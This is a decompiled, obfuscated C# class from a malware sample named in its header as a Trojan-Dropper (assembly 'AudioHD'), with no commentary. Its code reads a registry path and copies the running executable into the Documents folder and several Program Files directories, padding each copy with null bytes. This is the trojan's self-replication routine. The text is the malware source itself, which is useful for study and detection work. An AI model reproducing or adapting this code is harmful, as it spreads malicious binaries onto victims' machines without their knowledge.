// Decompiled with JetBrains decompiler // Type: . // Assembly: AudioHD, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: A79492AA-5FAA-4ED2-ACC6-3D90AD665D99 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Dropper.Win32.Sysn.awyx-36fae8d04bf5f7d873dd5aa10ad92403f80b9af8b6ef91319e70ea2c9c043024.exe using \u0001; using \u000E; using Microsoft.Win32; using System; using System.Diagnostics; using System.IO; using System.Runtime.InteropServices; namespace \u000E { internal sealed class \u0004 { [NonSerialized] internal static \u0002 \u0001; private static string \u0001; public static void \u000F([In] string obj0) { RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(\u0004.\u0001(3226), false); if (registryKey == null) return; \u0004.\u000F(registryKey.GetValue(\u0004.\u0001(3275)).ToString() + \u0004.\u0001(1969), obj0); } public static void \u0010([In] string obj0) { string str1 = Environment.GetFolderPath(Environment.SpecialFolder.Personal).Replace(\u0004.\u0001(3296), \u0004.\u0001(3309)); string str2 = \u0004.\u0001 + \u0004.\u0001(3346); \u0004.\u000F(str1, obj0); \u0004.\u000F(str2, obj0); } public static void \u0011([In] string obj0) { string str1 = \u0004.\u0001 + \u0004.\u0001(3371); string str2 = \u0004.\u0001 + \u0004.\u0001(3404); string str3 = \u0004.\u0001 + \u0004.\u0001(3445); \u0004.\u000F(str1, obj0); \u0004.\u000F(str2, obj0); \u0004.\u000F(str3, obj0); } public static void \u0012([In] string obj0) => \u0004.\u000F(\u0004.\u0001 + \u0004.\u0001(3490), obj0); public static void \u0013([In] string obj0) => \u0004.\u000F(\u0004.\u0001 + \u0004.\u0001(3519), obj0); public static void \u0014([In] string obj0) => \u0004.\u000F(\u0004.\u0001 + \u0004.\u0001(3552), obj0); public static void \u0015([In] string obj0) => \u0004.\u000F(\u0004.\u0001 + \u0004.\u0001(3577), obj0); public static void \u0016([In] string obj0) => \u0004.\u000F(\u0004.\u0001 + \u0004.\u0001(3610), obj0); public static void \u0017([In] string obj0) => \u0004.\u000F(\u0004.\u0001 + \u0004.\u0001(3647), obj0); public static void \u0018([In] string obj0) => \u0004.\u000F(\u0004.\u0001 + \u0004.\u0001(3672), obj0); public static void \u0019([In] string obj0) => \u0004.\u000F(\u0004.\u0001 + \u0004.\u0001(3693), obj0); public static void \u000F([In] string obj0, [In] string obj1) { if (!Directory.Exists(obj0)) return; if (File.Exists(obj0 + obj1)) return; try { File.Copy(Process.GetCurrentProcess().MainModule.FileName, obj0 + obj1, true); FileStream fileStream = File.OpenWrite(obj0 + obj1); long num1 = fileStream.Seek(0L, SeekOrigin.End); Decimal num2 = (Decimal) (Convert.ToInt32(obj1.Length) * 10485); while ((Decimal) num1 < num2) { ++num1; fileStream.WriteByte((byte) 0); } fileStream.Close(); } catch { } } static \u0004() { \u0003.\u000F(); \u0004.\u0001 = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles); } } }